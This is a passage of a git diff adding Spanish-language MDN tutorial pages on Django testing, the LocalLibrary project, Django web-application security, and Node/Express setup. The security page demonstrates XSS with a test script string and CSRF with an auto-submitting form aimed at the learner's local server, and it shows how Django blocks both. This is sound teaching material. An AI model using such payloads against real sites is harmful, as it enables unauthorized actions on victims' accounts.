notranslate"> resp = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':valid_date_in_future},<strong>follow=True</strong> ) + <strong>self.assertRedirects(resp, '/catalog/')</strong></pre> +</div> + +<p>Copy the last two functions into the class, as seen below. These again test <code>POST</code> requests, but in this case with invalid renewal dates. We use <code>assertFormError() </code>to verify that the error messages are as expected.</p> + +<pre class="brush: python notranslate"> def test_form_invalid_renewal_date_past(self): + login = self.client.login(username='testuser2', password='12345') + date_in_past = datetime.date.today() - datetime.timedelta(weeks=1) + resp = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':date_in_past} ) + self.assertEqual( resp.status_code,200) + <strong>self.assertFormError(resp, 'form', 'renewal_date', 'Invalid date - renewal in past')</strong> + + def test_form_invalid_renewal_date_future(self): + login = self.client.login(username='testuser2', password='12345') + invalid_date_in_future = datetime.date.today() + datetime.timedelta(weeks=5) + resp = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':invalid_date_in_future} ) + self.assertEqual( resp.status_code,200) + <strong>self.assertFormError(resp, 'form', 'renewal_date', 'Invalid date - renewal more than 4 weeks ahead')</strong> +</pre> + +<p>The same sorts of techniques can be used to test the other view.</p> + +<h3 id="Templates">Templates</h3> + +<p>Django provides test APIs to check that the correct template is being called by your views, and to allow you to verify that the correct information is being sent. There is however no specific API support for testing in Django that your HTML output is rendered as expected.</p> + +<h2 id="Other_recommended_test_tools">Other recommended test tools</h2> + +<p>Django's test framework can help you write effective unit and integration tests — we've only scratched the surface of what the underlying <strong>unittest</strong> framework can do, let alone Django's additions (for example, check out how you can use <a href="https://docs.python.org/3.5/library/unittest.mock-examples.html">unittest.mock</a> to patch third party libraries so you can more thoroughly test your own code).</p> + +<p>While there are numerous other test tools that you can use, we'll just highlight two:</p> + +<ul> + <li><a href="http://coverage.readthedocs.io/en/latest/">Coverage</a>: This Python tool reports on how much of your code is actually executed by your tests. It is particularly useful when you're getting started, and you are trying to work out exactly what you should test.</li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Selenium</a> is a framework to automate testing in a real browser. It allows you to simulate a real user interacting with the site, and provides a great framework for system testing your site (the next step up from integration testing.</li> +</ul> + +<h2 id="Reto_para_mi_mismo">Reto para mi mismo</h2> + +<p>There are a lot more models and views we can test. As a simple task, try to create a test case for the <code>AuthorCreate</code> view.</p> + +<pre class="brush: python notranslate">class AuthorCreate(PermissionRequiredMixin, CreateView): + model = Author + fields = '__all__' + initial={'date_of_death':'12/10/2016',} + permission_required = 'catalog.can_mark_returned'</pre> + +<p>Remember that you need to check anything that you specify or that is part of the design. This will include who has access, the initial date, the template used, and where the view redirects on success.</p> + +<h2 id="Resumen">Resumen</h2> + +<p>Writing test code is neither fun nor glamorous, and is consequently often left to last (or not at all) when creating a website. It is however an essential part of making sure that your code is safe to release after making changes, and cost-effective to maintain.</p> + +<p>In this tutorial we've shown you how to write and run tests for your models, forms, and views. Most importantly we've provided a brief summary of what you should test, which is often the hardest thing to work out when your getting started. There is a lot more to know, but even with what you've learned already you should be able to create effective unit tests for your websites.</p> + +<p>The next and final tutorial shows how you can deploy your wonderful (and fully tested!) Django website.</p> + +<h2 id="Mirar_tambien">Mirar tambien</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/testing/overview/">Writing and running tests</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/intro/tutorial05/">Writing your first Django app, part 5 > Introducing automated testing</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/">Testing tools reference</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/testing/advanced/">Advanced testing topics</a> (Django docs)</li> + <li><a href="http://toastdriven.com/blog/2011/apr/10/guide-to-testing-in-django/">A Guide to Testing in Django</a> (Toast Driven Blog, 2011)</li> + <li><a href="http://test-driven-django-development.readthedocs.io/en/latest/index.html">Workshop: Test-Driven Web Development with Django</a> (San Diego Python, 2014)</li> + <li><a href="https://realpython.com/blog/python/testing-in-django-part-1-best-practices-and-examples/">Testing in Django (Part 1) - Best Practices and Examples</a> (RealPython, 2013)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Forms", "Learn/Server-side/Django/Deployment", "Learn/Server-side/Django")}}</p> + +<h2 id="En_este_módulo">En este módulo</h2> + +<ul> + <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> +</ul> diff --git a/files/es/learn/server-side/django/tutorial_local_library_website/index.html b/files/es/learn/server-side/django/tutorial_local_library_website/index.html new file mode 100644 index 0000000000..a7450fafd0 --- /dev/null +++ b/files/es/learn/server-side/django/tutorial_local_library_website/index.html @@ -0,0 +1,103 @@ +--- +title: 'Tutorial Django: El Sitio Web de La Biblioteca Local' +slug: Learn/Server-side/Django/Tutorial_local_library_website +tags: + - Aprendizaje + - Artículo + - Codificación de scripts + - Guía + - Principiante + - Tutorial + - django + - lado servidor +translation_of: Learn/Server-side/Django/Tutorial_local_library_website +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django")}}</div> + +<p class="summary">El primer artículo de nuestra serie de tutoriales prácticos explica qué puedes aprender, y proporciona una visión general del sitio web de ejemplo de "biblioteca local" en el que estaremos trabajando y evolucionando en artículos subsiguientes.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Pre-requisitos:</th> + <td> + <p>Leer la <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Introducci%C3%B3n">Introducción a Django</a>. Durante los siguientes artículos necesitarás tener <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/development_environment">levantado un entorno de desarrollo Django</a>. </p> + </td> + </tr> + <tr> + <th scope="row">Objetivo:</th> + <td> + <p>Presentar el ejemplo de aplicación usado en este tutorial, y permitir que los lectores comprendan los temas que se tratarán aquí. </p> + </td> + </tr> + </tbody> +</table> + +<h2 id="Visión_general">Visión general</h2> + +<p>Bienvenidos al tutorial de MDN sobre la "Biblioteca Local" Django en el que desarrollaremos un sitio web que podría usarse para gestionar el catálogo de una biblioteca local. </p> + +<p>En esta serie de tutoriales:</p> + +<ul> + <li>Usarás las herramientas de Django para crear el esqueleto de un sitio web y una aplicación.</li> + <li>Arrancarás y pararás el servidor de desarrollo.</li> + <li>Crearás modelos para representar los datos de tu aplicación.</li> + <li>Usarás el sitio de administración de Django para rellenar los datos de tu sitio.</li> + <li>Crearás views para recuperar datos específicos en respuesta a diferentes peticiones, y plantillas para renderizar los datos como HTML que serán presentados en pantalla por el explorador web.</li> + <li>Crearás mapeadores para asociar los diferentes patrones URL con views específicas.</li> + <li>Añadirás autorizaciones de usuario y sesiones para controlar el comportamiento del sitio y acceso al mismo.</li> + <li>Trabajarás con formularios.</li> + <li>Escribirás código para comprobar tu aplicación.</li> + <li>Usarás la seguridad de Django con eficacia.</li> + <li>Desplegarás tu aplicación a producción.</li> +</ul> + +<p>Has aprendido algo de estos tópicos ya, y tocado otros brevemente. Al final de esta serie de tutoriales sabrás lo suficiente para desarrollar aplicaciones simples Django por tí mismo.</p> + +<h2 id="El_sitio_web_de_la_Biblioteca_Local">El sitio web de la Biblioteca Local</h2> + +<p><em>BibliotecaLocal</em> es el nombre del sitio web que crearemos para evolucionar a lo largo del curso de esta serie de tutoriales. Como habrás supuesto, el propósito de este sitio web es proporcionar un catálogo online para una pequeña biblioteca local, en la que los usuarios pueden explorar los libros disponibles y gestionar sus cuentas.</p> + +<p>Este ejemplo ha sido seleccionado cuidadosamente porque puede escalar para mostrar tanto mucho detalle como poco según necesitemos, y puede usarse para mostrar casi cualquier característica de Django. Más importante aún, nos permite proporcionar un camino guiado a través de las funcionalidades más importantes del framework web Django:</p> + +<ul> + <li>En los primeros artículos del tutorial definiremos una blibioteca simple para <em>explorar sólo</em> que podrán usar sus miembros para encontrar qué libros están disponibles. Esto nos permitirá explorar las operaciones que son comunes a casi todos los sitios web: lectura y presentación de los contenidos de una base de datos.</li> + <li>A medida que progresemos, el ejemplo de la biblioteca demostrará características más avanzadas de Django. Por ejemplo podremos extender la biblioteca para permitir a los usuarios reservar libros, y usar ésto para demostrar cómo se usan los formularios, y soportar la autenticación de usuario.</li> +</ul> + +<p>Incluso aunque es un ejemplo muy extenso, se llama <em>Biblioteca<strong>Local</strong></em> por una razón — esperamos mostrar el mínimo de información que te ayude a ponerte en marcha con Django rápidamente. Como resultado almacenaremos información sobre libros, copias de libros, autores y otras información clave. Sin embargo, no almacenaremos información sobre otros elementos que una biblioteca podría almacenar, ni proporcionaremos la infraestructura necesaría para mantener multiples sitios de bibliotecas u otras características de una "gran biblioteca".</p> + +<h2 id="Estoy_atascado_¿Donde_puedo_encontrar_el_código_fuente">Estoy atascado, ¿Donde puedo encontrar el código fuente?</h2> + +<p>A medida que avances a través del tutorial te proporcionaremos los fragmentos de código apropiados para que copies y pegues en cada punto, y habrá otro código que esperamos que puedas entender tú mismo (con algo de ayuda).</p> + +<p>Si te quedas atascado, puedes encontrar la versión completamente desarrollada <a href="https://github.com/mdn/django-locallibrary-tutorial">en el sitio web de Github aquí</a>.</p> + +<h2 id="Resumen">Resumen</h2> + +<p>Ahora que sabes un poco más sobre el sitio de la <em>BibliotecaLocal</em> y lo que vas a aprender, es hora de empezar a crear el <a href="/es/docs/Learn/Server-side/Django/skeleton_website">esqueleto(estructura)</a> de nuestro proyecto.</p> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django")}}</p> + +<h2 id="En_este_módulo">En este módulo</h2> + +<ul> + <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> +</ul> diff --git a/files/es/learn/server-side/django/web_application_security/index.html b/files/es/learn/server-side/django/web_application_security/index.html new file mode 100644 index 0000000000..e00a1771bb --- /dev/null +++ b/files/es/learn/server-side/django/web_application_security/index.html @@ -0,0 +1,176 @@ +--- +title: Seguridad de las aplicaciones web Django +slug: Learn/Server-side/Django/web_application_security +translation_of: Learn/Server-side/Django/web_application_security +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Deployment", "Learn/Server-side/Django/django_assessment_blog", "Learn/Server-side/Django")}}</div> + +<p class="summary">Proteger los datos de los usuarios es una parte esencial de cualquier diseño de un sitio web. Previamente ya explicamos algunas de las amenazas de seguridad más comunes en el artículo <a href="https://developer.mozilla.org/en-US/docs/Web/Security">Seguridad Web</a> — este artículo proporciona una demostración práctica de cómo las protecciones integradas de Django gestionan estas amenazas.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Prerrequisitos:</th> + <td>Lee la documentación de la Programación del Lado del servidor "<a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Website_security">Seguridad de la aplicación web de Django</a>". Completa todos los temas del Tutorial de Django (incluyendo este) o por lo menos el <a href="/en-US/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajar con formularios web</a>.</td> + </tr> + <tr> + <th scope="row">Objetivo:</th> + <td>Comprender las cosas principales que debes hacer (y las que no debes) para proteger su aplicación web de Django.</td> + </tr> + </tbody> +</table> + +<h2 id="Overview">Overview</h2> + +<p>The <a href="https://developer.mozilla.org/en-US/docs/Web/Security">Website security</a> topic provides an overview of what website security means for server-side design, and some of the more common threats that you may need to protect against. One of the key messages in that article is that almost all attacks are successful when the web application trusts data from the browser.</p> + +<div class="warning"> +<p><strong>Important:</strong> The single most important lesson you can learn about website security is to <strong>never trust data from the browser</strong>. This includes <code>GET</code> request data in URL parameters, <code>POST</code> data, HTTP headers and cookies, user-uploaded files, etc. Always check and sanitize all incoming data. Always assume the worst.</p> +</div> + +<p>The good news for Django users is that many of the more common threats are handled by the framework! The <a href="https://docs.djangoproject.com/en/1.10/topics/security/">Security in Django</a> (Django docs) article explains Django's security features and how to secure a Django-powered website.</p> + +<h2 id="Common_threatsprotections">Common threats/protections</h2> + +<p>Rather than duplicate the Django documentation here, in this article we'll demonstrate just a few of the security features in the context of our Django <a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> tutorial.</p> + +<h3 id="Cross_site_scripting_(XSS)">Cross site scripting (XSS)</h3> + +<p>XSS is a term used to describe a class of attacks that allow an attacker to inject client-side scripts <em>through</em> the website into the browsers of other users. This is usually achieved by storing malicious scripts in the database where they can be retrieved and displayed to other users, or by getting users to click a link that will cause the attacker’s JavaScript to be executed by the user’s browser.</p> + +<p>Django's template system protects you against the majority of XSS attacks by <a href="https://docs.djangoproject.com/en/1.10/ref/templates/language/#automatic-html-escaping">escaping specific characters</a> that are "dangerous" in HTML. We can demonstrate this by attempting to inject some JavaScript into our LocalLibrary website using the Create-author form we set up in <a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a>.</p> + +<ol> + <li>Start the website using the development server (<code>python3 manage.py runserver</code>).</li> + <li>Open the site in your local browser and login to your superuser account.</li> + <li>Navigate to the author-creation page (which should be at URL: <code><a href="http://127.0.0.1:8000/catalog/author/create/">http://127.0.0.1:8000/catalog/author/create/</a></code>).</li> + <li>Enter names and date details for a new user, and then append the following text to the Last Name field:<br> + <code><script>alert('Test alert');</script></code>.<br> + <img alt="Author Form XSS test" src="https://mdn.mozillademos.org/files/14305/author_create_form_alert_xss.png" style="border-style: solid; border-width: 1px; height: 245px; width: 594px;"> + <div class="note"> + <p><strong>Note:</strong> This is a harmless script that, if executed, will display an alert box in your browser. If the alert is displayed when you submit the record then the site is vulnerable to XSS threats.</p> + </div> + </li> + <li>Press <strong>Submit</strong> to save the record.</li> + <li>When you save the author it will be displayed as shown below. Because of the XSS protections the <code>alert()</code> should not be run. Instead the script is displayed as plain text.<img alt="Author detail view XSS test" src="https://mdn.mozillademos.org/files/14307/author_detail_alert_xss.png" style="border-style: solid; border-width: 1px; height: 248px; width: 986px;"></li> +</ol> + +<p>If you view the page HTML source code, you can see that the dangerous characters for the script tags have been turned into their harmless escape code equivalents (e.g. <code>></code> is now <code>&gt;</code>)</p> + +<pre class="brush: html"><h1>Author: Boon&lt;script&gt;alert(&#39;Test alert&#39;);&lt;/script&gt;, David (Boonie) </h1> +</pre> + +<p>Using Django templates protects you against the majority of XSS attacks. However it is possible to turn off this protection, and the protection isn't automatically applied to all tags that wouldn't normally be populated by user input (for example, the <code>help_text</code> in a form field is usually not user-supplied, so Django doesn't escape those values).</p> + +<p>It is also possible for XSS attacks to originate from other untrusted source of data, such as cookies, Web services or uploaded files (whenever the data is not sufficiently sanitized before including in a page). If you're displaying data from these sources, then you may need to add your own sanitisation code.</p> + +<h3 id="Cross_site_request_forgery_(CSRF)_protection">Cross site request forgery (CSRF) protection</h3> + +<p>CSRF attacks allow a malicious user to execute actions using the credentials of another user without that user’s knowledge or consent. For example consider the case where we have a hacker who wants to create additional authors for our LocalLibrary.</p> + +<div class="note"> +<p><strong>Note:</strong> Obviously our hacker isn't in this for the money! A more ambitious hacker could use the same approach on other sites to perform much more harmful tasks (e.g. transfer money to their own accounts, etc.)</p> +</div> + +<p>In order to do this, they might create an HTML file like the one below, which contains an author-creation form (like the one we used in the previous section) that is submitted as soon as the file is loaded. They would then send the file to all the Librarians and suggest that they open the file (it contains some harmless information, honest!). If the file is opened by any logged in librarian, then the form would be submitted with their credentials and a new author would be created.</p> + +<pre class="brush: html"><html> +<body onload='document.EvilForm.submit()'> + +<form action="http://127.0.0.1:8000/catalog/author/create/" method="post" name='EvilForm'> + <table> + <tr><th><label for="id_first_name">First name:</label></th><td><input id="id_first_name" maxlength="100" name="first_name" type="text" value="Mad" required /></td></tr> + <tr><th><label for="id_last_name">Last name:</label></th><td><input id="id_last_name" maxlength="100" name="last_name" type="text" value="Man" required /></td></tr> + <tr><th><label for="id_date_of_birth">Date of birth:</label></th><td><input id="id_date_of_birth" name="date_of_birth" type="text" /></td></tr> + <tr><th><label for="id_date_of_death">Died:</label></th><td><input id="id_date_of_death" name="date_of_death" type="text" value="12/10/2016" /></td></tr> + </table> + <input type="submit" value="Submit" /> +</form> + +</body> +</html> +</pre> + +<p>Run the development web server, and log in with your superuser account. Copy the text above into a file and then open it in the browser. You should get a CSRF error, because Django has protection against this kind of thing!</p> + +<p>The way the protection is enabled is that you include the <code>{% csrf_token %}</code> template tag in your form definition. This token is then rendered in your HTML as shown below, with a value that is specific to the user on the current browser.</p> + +<pre class="brush: html"><input type='hidden' name='csrfmiddlewaretoken' value='0QRWHnYVg776y2l66mcvZqp8alrv4lb8S8lZ4ZJUWGZFA5VHrVfL2mpH29YZ39PW' /> +</pre> + +<p>Django generates a user/browser specific key and will reject forms that do not contain the field, or that contain an incorrect field value for the user/browser.</p> + +<p>To use this type of attack the hacker now has to discover and include the CSRF key for the specific target user. They also can't use the "scattergun" approach of sending a malicious file to all librarians and hoping that one of them will open it, since the CSRF key is browser specific.</p> + +<p>Django's CSRF protection is turned on by default. You should always use the <code>{% csrf_token %}</code> template tag in your forms and use <code>POST</code> for requests that might change or add data to the database.</p> + +<h3 id="Other_protections">Other protections</h3> + +<p>Django also provides other forms of protection (most of which would be hard or not particularly useful to demonstrate):</p> + +<dl> + <dt>SQL injection protection</dt> + <dd>SQL injection vulnerabilities enable malicious users to execute arbitrary SQL code on a database, allowing data to be accessed, modified, or deleted irrespective of the user's permissions. In almost every case you'll be accessing the database using Django’s querysets/models, so the resulting SQL will be properly escaped by the underlying database driver. If you do need to write raw queries or custom SQL then you'll need to explicitly think about preventing SQL injection.</dd> + <dt>Clickjacking protection</dt> + <dd>In this attack a malicious user hijacks clicks meant for a visible top level site and routes them to a hidden page beneath. This technique might be used, for example, to display a legitimate bank site but capture the login credentials in an invisible <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe" title="The HTML Inline Frame Element (<iframe>) represents a nested browsing context, effectively embedding another HTML page into the current page. In HTML 4.01, a document may contain a head and a body or a head and a frameset, but not both a body and a frameset. However, an <iframe> can be used within a normal document body. Each browsing context has its own session history and active document. The browsing context that contains the embedded content is called the parent browsing context. The top-level browsing context (which has no parent) is typically the browser window."><code><iframe></code></a> controlled by the attacker. Django contains <a href="https://docs.djangoproject.com/en/1.10/ref/clickjacking/#clickjacking-prevention">clickjacking protection</a> in the form of the <a href="https://docs.djangoproject.com/en/1.10/ref/middleware/#django.middleware.clickjacking.XFrameOptionsMiddleware" title="django.middleware.clickjacking.XFrameOptionsMiddleware"><code>X-Frame-Options middleware</code></a> which, in a supporting browser, can prevent a site from being rendered inside a frame.</dd> + <dt>Enforcing SSL/HTTPS</dt> + <dd>SSL/HTTPS can be enabled on the web server in order to encrypt all traffic between the site and browser, including authentication credentials that would otherwise be sent in plain text (enabling HTTPS is highly recommended). If HTTPS is enabled then Django provides a number of other protections you can use:</dd> +</dl> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/settings/#std:setting-SECURE_PROXY_SSL_HEADER"><code>SECURE_PROXY_SSL_HEADER</code></a> can be used to check whether content is secure, even if it is incoming from a non-HTTP proxy.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/settings/#std:setting-SECURE_SSL_REDIRECT"><code>SECURE_SSL_REDIRECT</code></a> is used to redirect all HTTP requests to HTTPS.</li> + <li>Use <a href="https://docs.djangoproject.com/en/1.10/ref/middleware/#http-strict-transport-security">HTTP Strict Transport Security</a> (HSTS). This is an HTTP header that informs a browser that all future connections to a particular site should always use HTTPS. Combined with redirecting HTTP requests to HTTPS, this setting ensures that HTTPS is always used after a successful connection has occurred. HSTS may either be configured with <a href="https://docs.djangoproject.com/en/1.10/ref/settings/#std:setting-SECURE_HSTS_SECONDS"><code>SECURE_HSTS_SECONDS</code></a> and <a href="https://docs.djangoproject.com/en/1.10/ref/settings/#std:setting-SECURE_HSTS_INCLUDE_SUBDOMAINS"><code>SECURE_HSTS_INCLUDE_SUBDOMAINS</code></a> or on the Web server.</li> + <li>Use ‘secure’ cookies by setting <a href="https://docs.djangoproject.com/en/1.10/ref/settings/#std:setting-SESSION_COOKIE_SECURE"><code>SESSION_COOKIE_SECURE</code></a> and <a href="https://docs.djangoproject.com/en/1.10/ref/settings/#std:setting-CSRF_COOKIE_SECURE"><code>CSRF_COOKIE_SECURE</code></a> to <code>True</code>. This will ensure that cookies are only ever sent over HTTPS.</li> +</ul> + +<dl> + <dt>Host header validation</dt> + <dd>Use <a href="https://docs.djangoproject.com/en/1.10/ref/settings/#std:setting-ALLOWED_HOSTS"><code>ALLOWED_HOSTS</code></a> to only accept requests from trusted hosts.</dd> +</dl> + +<p>There are many other protections, and caveats to the usage of the above mechanisms. While we hope that this has given you an overview of what Django offers, you should still read the Django security documentation.</p> + +<ul> +</ul> + +<h2 id="Summary">Summary</h2> + +<p>Django has effective protections against a number of common threats, including XSS and CSRF attacks. In this article we've demonstrated how those particular threats are handled by Django in our <em>LocalLibrary</em> website. We've also provided a brief overview of some of the other protections.</p> + +<p>This has been a very brief foray into web security. We strongly recommend that you read <a href="https://docs.djangoproject.com/en/1.10/topics/security/">Security in Django</a> to gain a deeper understanding.</p> + +<p>The next and final step in this module about Django is to complete the <a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">assessment task</a>.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/security/">Security in Django</a> (Django docs)</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/Security">Server side website security</a> (MDN)</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/Security">Web security</a> (MDN)</li> + <li><a href="/en-US/docs/Web/Security/Securing_your_site">Securing your site</a> (MDN)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Deployment", "Learn/Server-side/Django/django_assessment_blog", "Learn/Server-side/Django")}}</p> + +<h2 id="En_este_módulo">En este módulo</h2> + +<ul> + <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> +</ul> diff --git a/files/es/learn/server-side/express_nodejs/development_environment/index.html b/files/es/learn/server-side/express_nodejs/development_environment/index.html new file mode 100644 index 0000000000..40a96d56e4 --- /dev/null +++ b/files/es/learn/server-side/express_nodejs/development_environment/index.html @@ -0,0 +1,407 @@ +--- +title: Setting up a Node development environment +slug: Learn/Server-side/Express_Nodejs/development_environment +tags: + - Aprender + - Entorno de Desarrollo + - Express + - JavaScript + - Node + - nodejs + - npm +translation_of: Learn/Server-side/Express_Nodejs/development_environment +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Introduction", "Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary">Ahora que sabes para que sirve Express, nosotros te vamos a mostrar como preparar y testear un entorno de desarrollo Node/Express en: Windows, Linux (Ubuntu), y macOS. Este artículo te va a dar todo lo que se necesita para poder empezar a desarrollar apps en Express, sin importar el sistema operativo que se use.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Prerequisitos:</th> + <td>Saber como abrir una terminal / línea de comando. Saber como instalar paquetes de software en su sistema operativo de su computadora de desarrollo.</td> + </tr> + <tr> + <th scope="row">Objectivo:</th> + <td>Configurar un ambiente de desarrollo para Express (X.XX) en su computadora.</td> + </tr> + </tbody> +</table> + +<h2 id="Express_ambiente_de_desarrollo_reseña">Express ambiente de desarrollo reseña</h2> + +<p><em>Node</em> y <em>Express</em> hacen muy fácil configurar su computadora con el propósito de iniciar el desarrollo de aplicaciones web. Esta seccion provee una reseña de qué herramientas son necesarias, explica algunos de los métodos más simples para instalar Node (y Express) en Ubuntu, macOS y Windows, y muestra como puede probar su instalación.</p> + +<h3 id="Qué_es_el_ambiente_de_desarrollo_Express">Qué es el ambiente de desarrollo Express?</h3> + +<p>El ambiente de desarrollo <em>Express</em> incluye una instalación de <em>Nodejs</em>, el <em>NPM administrador de paquetes</em>, y (opcionalmente) el Generador de Aplicaciones de <em>Express </em>en su computadora local.</p> + +<p><em>Node</em> y el administrador de paquetes <em>NPM</em> se instalan juntos desde paquetes binarios, instaladores, administradores de paquetes del sistema operativo o desde los fuentes (como se muestra en las siguientes secciónes). <em>Express</em> es entonces instalado por NPM como una dependencia individual de sus aplicaciones web <em>Express</em> (conjuntamente con otras librerías como motores de plantillas, controladores de bases de datos, middleware de autenticación, middleware para servir archivos estáticos, etc.)</p> + +<p><em>NPM</em> puede ser usado también para (globalmente) instalar el Generador de Aplicaciones de <em>Express</em>, una herramienta manual para crear la estructura de las web apps de <em>Express</em> que siguen el <a 